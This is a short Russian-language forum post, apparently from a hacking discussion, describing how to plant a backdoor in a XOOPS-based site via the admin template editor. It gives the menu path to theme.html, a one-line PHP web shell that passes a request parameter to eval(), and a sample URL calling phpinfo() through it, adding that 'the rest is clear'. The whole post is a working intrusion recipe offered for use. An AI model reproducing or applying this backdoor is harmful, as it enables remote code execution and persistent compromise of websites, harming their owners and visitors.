Вообщем затея такая:

Идем в админку -> Модули -> Система -> Шаблоны -> Выбираем текущий шаблон -> theme.html.

В него можно вставить php-код между тегами echo "php";

Сейчас дальше соображу. Так как после вставки кода, у меня отказывает отображатся сайт.

--

UPD. Просто шаблон был кривой. Поставил другой шаблон, все нормально выполняется. Т.е. вставляешь в шаблон:

if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));

Вызываешь http://site.ltd/index.php?e=phpinfo();

Дальше все понятно. Кстати, не нашел где ты пытаешься залить .tar архив. Я движок скачал с сайта xoops2.ru, он?